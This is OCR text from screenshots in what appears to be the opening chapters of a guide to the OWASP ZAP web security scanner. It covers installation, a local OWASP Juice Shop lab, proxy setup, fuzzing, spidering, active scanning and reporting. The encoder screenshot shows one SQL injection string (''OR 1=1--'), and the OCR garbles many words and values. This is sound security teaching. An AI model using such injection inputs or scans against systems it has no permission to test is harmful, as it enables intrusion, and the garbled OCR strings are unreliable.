Chapter 1: Getting Started with OWASP Zed Attack
Proxy

Download Help Developers

U2 e 64-bit Java for Windows

i g Recommended Version 8 Update 321 (filesize: 81.99 MB)

PLElBE R EEET Release date: January 18, 2022
» Disable Java

= Error Messages
» Troubleshoot Java &
» Other Help = Important Oracle Java License Update

The Cracle Java License has changed for releases starting April 186, 2019.

The new Oracle Technology Network License Agresment for Oracle Java SE is substantially
differant from prior Oracle Java licenses. The new license permits certain uses, such as personal
use and development use, at no cost — but other uses authorized under prior Qracle Java
licenses may no longer be available. Please review the terms carefully before downloading and
using this product. An FAQ is available here.

Commercial license and support is available with a low cost Java SE Subscription.

Oracle also provides the latest OpenJDK release under the open source GPL Licensze at
idk java.net.

.'L'. ‘We have detected you are using Google Chrome and might be unable to use the Java plugin from
this browser. Starting with Version 42 (released April 2015), Chrome has disabled the standard way in
which browsers support plugins. Mare info

Agree and Start Free
Download

By downloading Java you acknowledge that you have read and




Java Setup - Welcome — X

Java

= CP =

Welcome to Java - Updated License Terms

The terms under which this version of the software is licensed have changed.
Updated License Agreement
This version of the Java Runtime is licensed only for your personal (non-commercial) desktop and laptop
use,

Commercial use of this software requires a separate license from Oracle or from your software vendor.
Click Install to accept the license agreement and install Java now or click Remove to uninstall it from your
system.

Mo personal information is gathered as part of our install process. Details on the information we collect

[] change destination folder | Install | Remave

ZAP 2111

Windows (64) Installer 183 B Download

Windows (32) Installer 183 MB Download

Linux Installer 188 1B Download
Linux Package 186 MB Download
MacOS Installer 213 M Download
Cross Platform Package 204 1B Download

Core Cross Platform Package 55 B Download



&) Setup - OWASP Zed Attack Proxy 2.11.1 — O >

Welcome to the OWASP Zed Attack Proxy
Setup Wizard

This will install OWASP Zed Attack Proxy on your computer, The
wizard will lead you step by step through the installation.

Click Mext to continue, or Cancel to exit Setup,

W) Setup - OWASP Zed Attack Proxy 2.11.1 — O >

License Agreement

Please read the following important information before continuing.
———

Please read the following License Agreement. You must accept the terms of this agreement
before continuing with the installation.

Apache License
Version 2.0, January 2004
http:/fwww.apache.org/flicenses
TERMS AND COMDITIOMS FOR USE, REPRODUCTION, AMD DISTRIBUTIOMN
1. Definitions.

"License" shall mean the terms and conditions for use, reproduction,
igtribnitinn ag defined hy Sertinng 1 throoah Q of thie damiment

(@) I accept the agreement
() I do not accept the agreement

install4

<Badc||mext>||::mcel




Select Installation Type

Which type of installation should be performed?
———

Select the type of installation that you want to perform. Click Mext when you are ready to
continue.

(® Standard installation
() Custom installation

install4

W) Setup - OWASP Zed Attack Proxy 2.11.1 — O *

Ready to Install

Setup is now ready to being installing OWASP Zed Attadk Proxy on your

computer. =

Click Install to continue with the installation, or didk Badk if you want to review or change any
settings.

Destination location: [y
C:\Program FilesYOWaASPYZed Attack Proxy

Start Menu folder:
OWASP\Zed Attadk Proxy

Additional tasks:
Additional icons:
Create a desktop icon

Chedk for Updates:

Chedk for Updates on startup: Yes

Automatically download new ZAP releases: No

Check for updates to the add-ons you have installed: Yes
L_Autnmatically inetall indates ta the add-nne won have inetalled: Yee

install4

< Back || install ||| Cancel




a Setup - OWASP Zed Attack Proxy 2.11.1 — O

ZAP 2111

Windows (64) Installer
Windows (32) Installer
Linux Installer

Linux Package

.y

Completing the OWASP 7ed Attack Proxy
Setup Wizard

Setup has finished installing OWASP Zed Attack Proxy on your
computer, The application may be launched by selecting the
installed icons.

Click Finish to exit Setup,

183 MB

183 MB Download

188 MB

186 MB

MacOS Installer

213 MB

Cross Platform Package

Core Cross Platform Package

204 MB

A B EHIE H g
I HIEE 3

55 MB




“OWASP ZAP" cannot be opened
because the developer cannot be
verified.

macOS cannot verify that this app is free
from malware.

Eject Disk Image

Cancel



Security & Privacy

General FileVault Firewall Privacy

A login password has been set for this user = Change Password...

¥ Require password ' 5 minutes ¢ after sleep or screen saver begins

Allow apps downloaded from:

“OWASP ZAP" was blocked from use because it is not from an Open Anyway
identified developer.

ZAP 2111

Windows (64) Installer 183 B
Windows (32) Installer 183 MB
Linux Installer 168 uB
Linux Package 186 MB
MacOS Installer 213 uB
Cross Platform Package 204 uB

Core Cross Platform Package 55 uB



ZAP_2.111 =

Name Date Modified

> db Feb 1, 1980 at 12:00 AM

> @ lang Feb 1, 1980 at 12:00 AM -- Folder

> lib Feb 1, 1980 at 12:00 AM -- Folder

> @ license Feb 1, 1980 at 12:00 AM -- Folder

> @ plugin Feb 1, 1980 at 12:00 AM Folder
B README Feb 1, 1980 at 12:00 AM 2 KB Document

> @ scripts Feb 1, 1980 at 12:00 AM Folder

> Il xml Feb 1, 1980 at 12:00 AM Folder
& zap-2.11.1.jar Feb 1, 1980 at 12:00 AM 5.5 MB Java JAR file
B zap.bat Feb 1, 1980 at 12:00 AM 200 bytes Document
[ zap.ico Feb 1, 1980 at 12:00 AM 124 KB Windo...n image
R zap.sh Feb 1, 1980 at 12:00 AM 4 KB shell script

+N N | ZAP_2.11.1 —sh — 80x24

sh-3.28% 1s

README 1ib scripts zap.bat
db license xml zap.ico
lang ~lugin zap-2.11.1.jar zap.sh

sh-3.2$ sh zap.shj

C:\Users\ais>docker -v
Docker version 20.10.14, bulld a22uUe86

_ ~ % docker -v
Docker version 20.10.12, build e91led57

Desktop % docker pull bkimminich/juice-shop
Using default tag: latest
latest: Pulling from bkimminich/juice-shop
59bf1c3509f3: Pull complete
bélbéacsabsbf: Pull complete
3b%ele8ab9ce: Pull complete
3507ddbf3909: Pull complete
a%b17afd420@: Pull complete
782a957d4abe: Pull complete
80ebf3f9178e: Pull complete
6809e40e2d57: Pull complete
Digest: sha256:6378alcbh15168d8acé6fcd86e6b184d86Fbdefbd5h3a53cebabb4628e840cafbs
Status: Downloaded newer image for bkimminich/juice-shop:latest
docker.io/bkimminich/juice-shop:latest




% docker run —-rm -p 3000:3000 bkimminich/juice-shop

WARNING: The requested image's platform (linux/amdé4) does not match the detected host platform (linux/armé4/v8)
and no specific platform was requested

> juice-shop@13.2.2 start
> node build/app

: All dependencies in ./package.json are satisfied (0K)

: Chatbot training data botDefaultTrainingData.json validated (OK)
: Detected Node.js version v16.13.2 (0K)

: Detected 0S linux (0K)

: Detected CPU x64 (OK)

: Configuration

: Required
: Required
: Required
: Required
: Required
info: Required
info: Required
info: Required

file
file
file
file
file
file
file
file

(node:23) [DEP@152]

property.

default validated (0K)

server.js is present (0K)

styles.css is present (OK)

index.html is present (OK)

main.js is present (0K)

tutorial.js is present (OK)

polyfills.js is present (0K)

runtime.js is present (0K)

vendor.js is present (OK)

DeprecationWarning: Custom PerformanceEntry accessors are deprecated. Please use the detail

(Use “node ——trace-deprecation ..." to show where the warning was created)
info: Port 3000 is available (OK)
info: Server listening on port 3600

® ® § OWASP Juice Shop x <+

C

[  ©® localhost:3000/#/

._ OWASP Juice Shop

All Products

Apple Juice
(1000ml)

1.990

Apple Pomace
0.89a

Banana Juice Best Juice

=Ty Shop
(1000ml) : —/ Salesman

1.99a ‘ : Artwork
‘ 50000




# Alllabs | Web Security Academ X  +

A @ portswigger.net/web-security/all-labs

£ PortSwigger .2

Products v | Solutions v Research Academy Daily Swig | Support v | =

Academy Home Learning Path Latest Topics v All Labs Hall of Fame v Getting Started Guide Get Certified v

A” |a bS Track your progress

S Q L | nJ e Ct[OF site information Leaming W

(3

8 LaB SQL injection vulnerability in WHERE clause allowing retrieval of hidden Not solved Vulnerability labs:
data » A

Level progress:
A LAB Not solved
SQL injection vulnerability allowing login bypass »>

Apprentice  Practitioner Expert

O LAB Not solved

SQL injection UNION attack, determining the number of columns returned by

P FoxyProxy Standard - Chrome = X +

(] @ chrome.google.com/webstore/

~& chrome web store £ signin

Home > Extensions > FoxyProxy Standard

,,Q/ FoxyProxy Standard

Offered by: FoxyProxy

Y % % % K 727 | Developer Tools | & 200,000+ users

Overview Privacy practices Reviews Support Related



kkoolaabfminjono... | @' A

Extensions

No access needed
These extensions don't need to see and change
information on this site.

@  FoxyProxy Standard

£ Manage Extensions

Use proxies based on their pre-defined patterns and priorities

Use r all URLs

¥ Disable FoxyProxy

Options

Proxy mode: [ Disable FoxyProxy v
Proxies
Proxy Host or IP SOCKS SOCKS Auto PAC
Enabled  :Color Name Proxy Notes Address kort proxy? Version URL

These are the settings
v . Default that are used when no 5
patterns match an URL

Add New Proxy

Please Donate Buy Proxy Service



FoxyProxy - Proxy settings x
General Proxy Details URL Patterns

O Direct internet connection (no proxy)

@® Manual Proxy Configuration
Help! Where are settings for HTTP, SSL, FTP, Gopher, and SOCKS?
Host or IP Address [127.0.0.1 |Port [8080 ]

(Jsocks proxy? O SOCKS va/da @ SOCKS v5

(J save Login Credentials @)

O Automatic proxy configuration URL
View Test @

Notify me about proxy auto-configuration file loads

Notify me about proxy auto-configuration file errors

Save Cancel
Proxy mode: | Disable FoxyProxy Use proxies based on their pre-defined patterns and priorities
Use proxy 127.0.0.1:8080 for all URLs
PrOXIeS Use proxy Default for all URLs
¥ Disable FoxyProxy
Enabled  Color :roxy Proxy Notes
ame
Options i
v . 127.0.0.1:8080
These are the settings
v . Default that are used when no 5 Add New Prc
patterns match an
URL

Use proxies based on their pre-defined patterns and priorities

¥ Use proxy 127.0.0.1:8080 for all URLs
Use proxy Default for all URLs

Disable FoxyProxy

Options



Options

€@, ¥ | Dynamic SSL Certificates

Active Scan

Active Scan Input Vectors
AJAX Spider

Alerts

Anti-CSRF Tokens
API

Applications
Breakpoints

Check For Updates
Client Certificate
Connection

Database
-

Dynamic SSL Certificates
pde/Uecode
Extensions
Forced Browse
Form Handler
Fuzzer
Global Alert Filters
Global Exclude URL
GraphQL
HTTP Sessions
HUD
JW
Keyboard
Language
I nral Pravies

Reset to Factory Defaults

Root CA certific...
{0} Generate

2 Import

b3QgQOExXGjAYBgNVBASMEU9XQVNQIFpBUCBSb29@IENE
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAIMg
30Ty271i272033gk4emYtFBzUVNgQ38ITF1Ak6k7nxq+a
vjmaCc@50calou+W1EGKLnsYzR5j I0tMtvyIMjj85uvY
S5ovwlPNqjjPItLEqiqtjWRP+Z0YZ0ZU4CmwpK/4nLVRk
KB1+k8mZPk+XCgUY9twUqAH7hvGO+xk6uE rMCx6ewKamr
3/5yUWpbUDq75SqrD1B4ME4YmmKj04n0QhXK1buArDZd5
AwWEAAaOCAX4wggF6MIIBMwYDVROOBIIBKgSCASYwggEi
A4IBDwAwggEKA0IBAQCDIKSxc4ZMRMUG6UVS5SmMPWOXNIE
1FTYEN/CUxZQJ0p058avmhqAiCO07KtizwOCZ9Ei4b45
GM@eYyNLTLb8iDI4/0br20pH8dXiqvsTLjeLRkl/Keal
/mdGGTmVOApsKSv+Jy1UZIY7NIAZNgfAarA/jizUlig2
+4bxtPsZ0rhKzAsensCtImYiwX0+LUFGeZz0bot f/N/+
JpiozulzkIVypW7gKw2XeSEs1/1cA9Bxp9+Hc9DHAgME
AwEB/zALBgNVHQ8EBAMCAbYwIwYDVRO 1BBwwGgYIKwYE
BgRVHSUAMABGCSqGSIb3DQEBCWUAA4IBAQAPFM36UM1v
0xD2K01SzZx6p5k5TznVHpkihsFsa7shN7nV2nwolT7R
W41bXi@zhyvq2Doj8LH2rvr7Vy/0K0rHa8dwf2pASDIr
ailPYy7eL5VVVFBj zwtyhh+ZcA2SgfjeTWqLtEVHURSE
0bZ1TLmdnYzGuobQfgEN4MPUx52dkQIIA608 rxNupsfy
oyIGepnzpWHu7AqCS@RgP40B1xkY5xzjGwr5BNQNGQ7E
END CERTIFICATE-————

G, View k- save

Cancel OK

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

Proxy Configuration

To use ZAP effectively it is recommended that you configure your browser to proxy via ZAP.

The easiest way to do this is to launch your browser from ZAP via the "Quick Start / Manual Explore" panel - it will be

Alternatively you can configure your browser manually or use the generated PAC file.

HTTPS Warnings Prevention

To avoid HTTPS Warning nd install CA root Certificate in your Mobile device or computer.

Links

Local API

ZAP Website
ZAP User Group

ZAP Developer Group
Report an issue



Use proxies based on their pre-defined patterns and priorities 5=

Use proxy 127.0.0.1:8080 for all URLs

Use proxy Default for all URLs

Disable FoxyProxy

Options

% -

{ 1 . . o (8
s t 4
Take the HUD Tutorial AR, e Continue to your target

WY AW

.



Chapter 2: Navigating the Ul

® 0 OWASP ZAP
Do you want to persist the ZAP Session?
Yes, | want to persist this session with name based on the current timestamp
Yes, | want to persist this session but | want to specify the name and location
® No, | do not want to persist this session at this moment in time
Remember my choice and do not ask me again.

You can always change your decision via the Options / Database screen

Help Start

ZAP File Edit View Analyse Report Tools Import Online Help

' Safe Mode vi B d E g &
« Protected Mode

Standard Mode

ATTACK Mode

Ch |2 22 Ed B E E = E EE E

i}&yJ XEEE
Metal
Mimbus =
CDE/Maotif
Windows
Windows Classic
=p Flat Light
Flat Dark
Flat Intelli)

Flat Darcula

EEE ElE @ E

& ﬂ G @ Ik P & % - - | ) @ E‘I a




@ Sites ==

© e

v Contexts
7] Default Context

v @ Sites



. @Sites <
P
| & B 3

| Contexts Tree
« [} Contexts

| Default Context

- @ sie

@ sies
© 0 &

v [} Contexts
] Default Context

v @ Sites



@ Sites | Scripts # »

= ¢

Scripting
. Scripts

Templates

47 Quick Start # = Reguest %= Response + 4 Break o

o 9 L] Script Console
Welcome w GvvASP ZAP

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

Ifyou are new to ZAP then itis bestto start with one of the options below.

W Ve

Automated Scan Manual Explore Learn Mare

Mews
{ The ZAPCon 2022 videos are now all available on YouTube Learn More

= History S Search  [WaAlents | Output ==

© @& ' Filter OFF { Export
ng Snurcp Req.Tﬂastamp Method LIRL

Alerts M0 Fu2 04 W4 Primary Proxy: localhost 8008




= History “ Search # [¥Alerts | Output =

@ All ~ Inverse: | “ Search L Next | Previous Number of Matches: 0 Complete ¢ Export
Method URL Match

* History © Search # [Walerts | | Output & Spider

| A v

“* History “{ Search # [UAlerts  Output <

Method URL

S, Search # [WAlerts | Output =

All

Method
- URL

Request
Response
Header

| HTTP Fuzz Results

“ History “{ Search # [WAlerts  Output <=

Method URL

** History “ Search # [WAlerts | | Output <=

@ | All v Inverse: v

Method URL
¥ History G Search # [WaAlets | ] Output ¥ Spider ) ActiveScan & Fuzer <
@ | } Al v Inverse: | < Search NumberufMatches: 308 Complete ¢ Export
™ History “ Search # ¥ Alerts | Output <=
@ [VAII ~ Inverse: v “ Search L Next 7§ Previous] Number of Matches: 0 Completel ¢ Export

Method URL Match



™ History “{ Search # [ Alerts | Output <=

@ \ All ~ Inverse: v “ Search L Next | Previous Number of Matches: 0 Complete
Method URL Match
= History 4 Search | Output 4
@e /¢ Full details of any selected alert will be displayed here.
'You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add a

¥ Incomplete or No Cache-control Header Set (3) lert'.
¥ Timestamp Disclosure - Unix (56)
4 X-Content-Type-Options Header Missing (3) You can also edit existing alerts by double clicking on them.

** History ©“Search # [WAlerts | <
| # AJAX Spider

© A A Active Scan
Method | @ Automation
¢ Breakpoints
»  Forced Browse
4 Fuzzer
<, HTTP Sessions

% OAST

. Output

| | Params

“¥ Progress
% Spider

# WebSockets
. Zest Results

Alerts RO RO RO RO

Primary Proxy: localhost:8080

CurrentScans % 0 &0 @0 20 @0 %0 40 %0




W) Encode/Decode/Hash — O et
Textto be encodedidecodedthashed:
"OR 1=1—

I . Reset

Encode Decode Hash llegal UTFS Unicode

Basef4 Encode
JyBPLUIiAXPTETLS0g

Basetd URL Encode
JyBPUiAXPTETLS0g

LURL Encode
L 27 +OR+1%301% 36—+

Full URL Encode
L2 T 20%4F%52%20%31%30% 31%3B%20%20%20

ASCIH Hex Encode
2T204F5220313D0313B2D2D20

HTML Encode
"OR1=1—-

JavaScript Encode
YOR1=1,—




Q Add Mew Output Panel to Current Tab

Mame @ Adding Another Qutputto Same Panel

Script | 2 Byte lllegal UTFa

2 Byte lllegal LT -8

3 Byte lllegal UTFS
3B%2D% 4 Byte llegal UTFB
ASCI Hex Decode
ASCI Hex Encode
Baseb4 Decode
Baseb4 Encode
Baseb4 URL Decode
Baseb4 URL Encode
Full URL Decaode
Full URL Encode
HTML Decode

HTML Encode
JavaScript Decode
Java3cript Encode

W) Select Message pd

Message Type: | HTTP v

@ Sites
5; hitps:ifsippycup-juicebox. herokuapp.com

| | GETY
|| assets

fip

GET:main-es2015 js

GET:main-esh js

GET:polyfills-es2015 s

GET:polyfills-es5 js

[

b
L]
L]
b

Cancel Select




a Fuzzer x|

Fuzz Locations Options Message Processors

Header: Text | Bodv.Text v | =] [ | Edit Fuzz Locations:
GET https://sippy W) Payloads < m Add
HTTP/1.1
Host: sippycup-j] Location: Headp=1=o—asr Remaove L
User-Agent: Mozil yalue: Host sif W Add Payload %
) Gecko/2@leelel ) = .
Pragma: no-cache | ayloads: Type: | Strings v |
Cache-Control: ng |

Empty/MNull
Referer: https:// # Contel ~ oy

File

File Fuzzers

Json

Numberzz

Regex (*Experimental*)

Script

v Removewq

Header: Text ~ | Body:Text ~ || [[] Edit Fuzz Locations:
GEY Location ~ Value #ofPayloads | #ofProcessors Bp] A0
https://sippycup-juicebox.herokuapp.com/ftp/eas R
tere.gg HTTP/1.1 [N Header [0,... GET o 1 emove
Host: sippycup-juicebox.herokuapp.com .
User-Agent: Mozilla/5.@ (Windows NT 1@.8; wWipsa Payloads... |
; XB4; rv:92.8) Gecko/20100101 Firefox/92.0 “Payloads %
Pragma: no-cache Processors..
Cache-Control: no-cache Location: Header [0, 3]
Referer: .
https://sippycup-juicebox.herokuapp.com/Ftp | Value: GET

Payloads:

# Type Description | # of Processors 5 Add...
1 Strings POST, HE... 2 Modify
Remove




[
&= History

‘ﬁ New Fuzzer Progress: 0: HTTP -hitps/isippyc..Mp/eastere.gg ~ Ul

Messages Sent: 9

Task... Message Type Code

0 Original
1 Fuzzed
2 Fuzzed
3 Fuzzed

Type:

|, Search

Q Add Processor

MD5 Hash

Character Encoding: UTF-8
Upper Case: |

[

Generate Preview

Current Payloads:

UESTVA==
SEVBRA==
UFVU
REVMRVRF
T1BUSUSOUw==
Rk9P
VEJBQOU=
QOS0TKVIVA==
UEFUQOg=

v'| Lock Scroll

9
U Alerts

Errors: 0 1\ Show Errors

Reason

403 Forbidden 47 .. 299 bytes
400 Bad Requ... 179... 116 bytes
400 Bad Requ... 180... 116 bytes
400 Bad Requ... 173... 116 bytes

RTT Size Resp. Header Size Resp. Body HighestAlert

Processed Payloads:

Tc4aBledd792f22ac0056E
773440be440a35adds8eTe
bcY9lcb5c3édéclbc7687591
2d22]leéeb95bd01634995L
75£8%22cd4c5a%746acdlc
d999dc02c533a3b46cd70e
94c2ce3ed9883450ablbsal
5c93114721651cd79a2bel

a%44ddSe5622d7bfdléebce:

Cancel Add

 Output  ## Spider ) Active Scan 4 Fuzer # * ==

. IEEEETTEN & Curentfuzzers:0 3}

1,851 bytes
0 bytes
0 bytes
0 bytes

State

¢ Export

Payloads @

TcdaBle..
7734400b...
bc91chb5...



“ Fuzzer bre

Fuzz Locations Options Message Processors

Retries on 10 Error: 3
Limit maximum errors: [v/|

o

Max. Errors Allowed: 1000 | &
Payload Replacement Strategy:

(@) Depth First

() Breadth First
Concurrent Scanning Threads per Scan: 5

i

0 5 10 15 20 25 30 35 40 45
Delay when Fuzzing (in milliseconds): 500
Follow Redirects:

(o]l 8-

(] istanFuzzer | Reset | Cancel
?

0 Fuzzer X

Fuzz Locations Options Message Processors

# Name Description @ Add.
1 Request Content-Length Updater Updates the Content-Length of the req... Modify.
2 Payload Reflection Detector Detect payloads reflected in response Remove

a Add Message Processor X Top
Up
Type: | Fuzzer HTTP Procesgor (Script) - |
Down
Fuzzer HTTP Processor (Script)
3 Bottom
| Payload Reflection Detector
Request Content-Length Updater
Tag Creator
[ Cancel Add

|v/| Remove Without Confirmation

@ Start Fuzzer Reset Cancel



Chapter 3: Configuring, Crawling, Scanning, and
Reporting

@ Sites o4 a Session Properties >
@ OB = k»g 3 | [2:Include in Context L2
I.LBIdLUIL LUTILERL
¥ Contexts 1:Include in Context | URLs which will be included in the context unless also excluded
[&] Default Context 1: Exclude from Cont Add
(@] hitp:iflocalhost:3000 1: Structure Regex
@ sites 1: Technology http:Mocalhost 30004 /score-board Modify...
R 1: Authentication Remove
—_
1. Users Import
1: Forced User Export
1

- Soccinn Mananan

=y # OWASP Juice Shop

O [ localhost

. OWASP Juice Shop

a Mew Context X
Context Name | owASP Juice Shop
Top Node: http:#ocalhost3000 | @ Select..
Diescription
In Scope

Save Cancel

~ Contexts
=] Default Context

B2 owaspjuiceShop-http

=] owaspjuiceShop-htt » Active Scan...

@ Sites W)
@ https://safebrowsii Remove From Scope
g Y https://content- Delete ®
@ v https://classify= 3 gxport Context...

@ P https://normand  gynort URLS for Context(s)
g Y https://contile.services.mozina.com




o0 ® Spider

Scope  Advanced

Starting Point: Context: owaspjuiceShop-http l @ sSelect... '
-

Context: owaspJuiceShop-http

User:

Recurse:
Spider Subtree Only
Show Advanced Options

o Start Scan Reset Cancel |

Cnirdar

@ @ Select Node

Scope  Advanced . = contexts

2] owaspJuiceShop-http

[Z] owaspJuiceShop-https @ Select...
© Everything in Scope
Context: v @ Sites =

User: » g https://shavar.services.mozilla.com
» g https://incoming.telemetry.mozilla.org f N

Starting Point:

Recurse: » @ https://img-getpocket.cdn.mozilla.net

Spider Subtree Only » @ https://getpocket.cdn.mozilla.net
Show Advanced Optid > g__ https://spocs.getpocket.com
» @ https://safebrowsing.googleapis.com
- @ https://content-signature-2.cdn.mozilla.net
» g https://classify-client.services.mozilla.com
» . https://normandy.cdn.mozilla.net
» a  https://contile.services.mozilla.com
»{__ http://10.10.1.23:3000 )
» @ https://push.services.mozilla.com

Cancel Select [

(%] Reset Cancel

http://10.10.1.23:3000

Context: owaspluiceShop-http -

Starting Point:



Scope  Advanced

Starting Point:

Context: owaspjuiceShop-http
User:
Recurse:

{ Spider Subtree Only )
(Show Advanced Options B‘)

MI

Scope  Advanced

Maximum Depth to Crawl (0 is unlimited):

Maximum Children to Crawl (0 is unlimited):

Maximum Duration (minutes; 0 is unlimited):

Maximum Parse Size (bytes):

Send 'Referer' Header:
Accept Cookies:
Process Forms:

POST Forms:

Parse HTML Comments:
Parse 'robots.txt":

Parse 'sitemap.xml":
Parse SVN Metadata:
Parse Git Metadata:

Handle OData Parameters:

(<IN <B< < BN< B <JN<

Spider

ontext: owaspjuiceShop-http

Spider

Start Scan

Start Scan

@ Select...
-
Reset Cancel
S
0 =
0 <
2621440 |+
Reset Cancel




r
[ XN # Spider...
Protected Mode “~ | | L ki 0 Include in Context >‘ ) Active Scan... i o - |
@ Sites + Include Site in Context >‘ 2~ Forced Browse Site
—— Run application > 4" Forced Browse Directory
© e | Flag as Context >| Forced Browse Directory (and Children) A(
v 5 Contexts Exclude from Context >‘ # AJAX Spider... -
[¥] Default Context 4/ Open/Resend with Request Editor... w Fuzz... ing vulnel
(%] OWASP Juice Shop Open URL in Browser ? ZAP then it is best to start with one of the options below
v @ Sites Exclude from >
> e]m Show in History Tab

Open URL in System Browser

Copy URLs to Clipboard

Delete ® "

Manage History Tags...

Export All URLS to File... Automated Scan Manual Explore

Export Selected URLs to File...
% History  “ Search  [¥ Aler B

———— New Alert...

© @ | Filter: OFF ¢ Export Alerts for This Node

Report | Tools |Import Online Help

Browse API

Toggle Break on All Requests

Toggle Break on All Responses

Submit and Step to Next Request or Response
Submit and Continue to Next Breakpoint

Bin Request or Response

Add a Custom HTTP Breakpoint...

Active Scan...

Spider...

¥ Manual Request Editor...

Run the Garbage Collector
Encode/Decode/Hash...
WebSocket Message Editor
AJAX Spider...

Replacer Options

Retest...

Fuzz...

Options...




™ History -\ Search

fUAlerts 4 WebSockets I # AJAX Spider + » I 4

5 New Scanl Crawled URLs:0 ¢ Export

Processed Id Req. Timestamp Meth...

@ @
Scope  Options
Starting Point:

Context:
User:

Just In Scope:
Spider Subtree Only

Browser:

Show Advanced Options

AJAX Spider

http://10.88.88.30:3000

OWASP Juice Shop

(v]
Firefox Headless

v

Start Scan

Co... Reason R
@ Select...

v

v

Reset Cancel



® 0 AJAX Spider

Scope  Options

Number of Browser Windows to Open: 1|$
Maximum Crawl Depth (0 is Unlimited): 10 |C
Maximum Crawl States (0 is Unlimited): 0L
Maximum Duration (Min, 0 is Unlimited): 60 &
Event Wait time (ms): 1000 ©
Reload Wait time (ms): 1000 <
Allowed Resources:
Enabled Regex ®  Add..
Modify...
Remove
Enable All
Disable All
Remove Without Confirmation
(7] Start Scan Reset Cancel
. 4
@ Sites ¢ N
-

© 0B E

v [} Contexts
= Default Context
OWASP Juice Shop

v @ Sites
v L= I http://10.88.88.30:3000
@ m GET:/
> @M api

@ % GET:font-mfizz.woff

> @ we ftp
@ v GET:main.js




Traditional Web App Communication Model

HTTP Request (all client requests) >

o mm e e e e o w= *

|
I
I
I
I
I
I
I
\

< Server Response (JS + HTML + CSS)

-

HVE'EIU'TP Request (all client requests) >

< Server Response (JS + HTML + CSS)

JS Calls > HTTP request »
< HTML + CSS Server Data

AJAX App Communication Model

e e e o e e e = = =




[ ] ® Options

&, & | |Passive Scanner
Extensions
Forced Browse
Form Handler
Fuzzer Max alerts any rule can raise: 0
Global Alert Filters
Global Exclude URL
GraphQL ¢
HTTP Sessions
HUD
VM
Keyboard
Language
Local Proxies
OAST
Passive Scan Rules
Passive Scan Tags
(Passive Scanner |

uic art Launch
Replacer
Rule Configuration
Scripts
Search
Selenium
Spider
Statistics
WebSockets
Zest

Only scan messages in scope
Include traffic from the Fuzzer when passive scanning

Max body size in bytes to scan: 0

Reset to Factory Defaults Cancel OK

4»

L1



= History < Search [HAlerts # | | Output &

@ & "}! Iq&;

. Alerts (18)
/4 Absence of Anti-CSRF Tokens
¥4 CSP: Wildcard Directive (5)
¥ Cross-Domain Misconfiguration (192)
4 Missing Anti-clickjacking Header (7)
¥4 Session ID in URL Rewrite (23)
¥ Vulnerable JS Library
U Application Error Disclosure (4)
2 Cookie No HttpOnly Flag (2)
i Cookie with SameSite Attribute None (2)
2 Cross-Domain JavaScript Source File Inclusion (260)
Y Private IP Disclosure (2)
Y Timestamp Disclosure - Unix (351)
i X-Content-Type-Options Header Missing (41)
" Charset Mismatch (3)
" Information Disclosure - Sensitive Information in URL
" Information Disclosure - Suspicious Comments (24)
" Loosely Scoped Cookie (2)
4 Re-examine Cache-control Directives (12)




W) Active Scan *

Scope Filter Input Vectors Custom Vectors Technology Palicy

Injectable Targets: Built-in Input Vector Handlers:
URL Qery String & Data Driven MNodes +| Multipart Form-Data
Add URL Query Parameter? | XML Tag/Attribute
+'| POST Data «'| JSON
URL Path (could slow down testing) Scan Mull Values
HTTP Headers (could slow down testing) v'| Google Web Toolkit
All Requests +'| OData IDIFilter
Cookie Data (could slow down testing) | Direct Web Remoting

+'| Enable Script Input Yectors

Parameters shown here will be ignored by the Scanner, if both the wildcarded URL and the specified location match.

URL - Where Mame B Add.
* Any (?i)ASP NET_Sessionld Modify...
* Any (?iMSPSESSIONID.* Remaove
* Any (?i)PHPSESSID
* Any (Y)SITESERVER
* Any (?i)sessid

Remove Without Confirmation

2] Start Scan Reset Cancel

W Active Scan [ p4

Scope Filter Input Yectors Custom Vectors Technology Palicy

GET hitps:Msippycup-juicebox.herokuapp.com HTTRM.1 Add
Host: sippycup-juicebox. herokuapp.com

User-Agent. Mozilla/s.0 (Windows NT 10.0; Win64; x64; n92.0) Gecko/20100101 Firefox/92.0
Pragma: no-cache

Cache-Control: no-cache Wectors:

Custom Vectors can only be set ifthe Recurse option is unset.
Disable Mon-custom Input Vectors

(2] Start Scan Reset Cancel



W Active Scan I} o
Scope Filter Input Vectors Custom Vectors Technology Palicy
Technology
v [V|DB
[v|couchDB
[/|Firebird
[v/|HypersonicsoL
[+]1BM DB2
[v/|Microsoft Access
[v/|Microsoft SOL Server
[¥|MongoDB
[vIMysaL
[v/| Oracle
[/|PostgresalL
[/| 5AP MaxDB
[/|50Lite
[/|5ybase
« [V|Language
[/|AsP
VIc
[V|JsPisernviet
v [¥]Java
[+/|5pring
[+ Start Scan Reset Cancel
W Active Scan N x
Scope Filter Input Vectars Custom Vectors Technology Falicy
€, ¥ | [Policy | @
~ Policy Policy: Default Policy ™
Client Browser Default Alert Threshold: i Default threshold
Information Gathering efault Alert Threshold: | pedium | (Defaultthreshold)
Injection Default Attack Strength: | pledium -~ | (Default attacks)
Miscellaneous
ly| Default = Threshold To| All ~ Rules Go
Server Security Apoly
Apply Default - |Strength To | All ~ Rules Go
Category Threshold Strength
Client Browser Default Default
2 [Information Gathering Default Default
Injection Default Default
Miscellaneous Default Default
Server Security Default Default
(%] Start Scan Reset Cancel




Report k Tools Import Online Hel

Export Messages to File... .
Export Response(s) to File... !

Export All URLs to File...
Export Selected URLs to File...
Export URLs for Context(s)

Compare with Another Session...
Generate Report ...

ZAP Session Compare Report

\:Any session | Just session 1 | Just session 2| Both sessionsj\

GET http://sippycup-juicebox. herokuapp.com — 200

GET http/isippycup-juicebox herokuapp.com/ 200 200

GET http://sippycup-juicebox herokuapp.com/Materiallcons-Regular.woff2 200 -

GET http://sippycup-juicebox herokuapp .com/api/Challenges/ 200 —

GET hitp://sippycup-juicebox. herokuapp.com/api/Quantitys/ 200 —

GET http://sippycup-juicebox. herokuapp.com/assets/i18n/en.json 200 -

GET http://sippycup-juicebox herokuapp.com/assets/public/favicon_js ico — 200

GET http://sippycup-juicebox herokuapp.com/font-mfizz woff 200 -

W) Generate Report %

Scope Template Filter Options

Report Title: ZAP Scanning Report

Report Name: 2022-04-09-ZAP-Report-htm
Report Directory: C:\Users\swamp

Description: nge‘thing,,,|

